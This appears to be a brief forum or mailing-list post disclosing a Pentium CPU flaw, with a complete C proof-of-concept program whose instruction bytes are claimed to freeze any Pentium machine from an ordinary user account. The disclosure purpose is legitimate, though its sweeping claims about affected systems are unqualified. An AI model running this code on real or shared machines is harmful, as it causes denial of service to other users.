There is a SERIOUS bug in all pentium CPUs. The following
code will crash any machine running on a pentium CPU, MMX or no
MMX, any speed, regardless of OS (crash as in instant seize, hard
reboot the only cure):
char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
main ()
{
void (*f)() = x;
f();
}
This require no special permissions to run, it works fine with
average-joe-userspace permissions. I have verified this, it works.
Demand a new CPU from Intel.
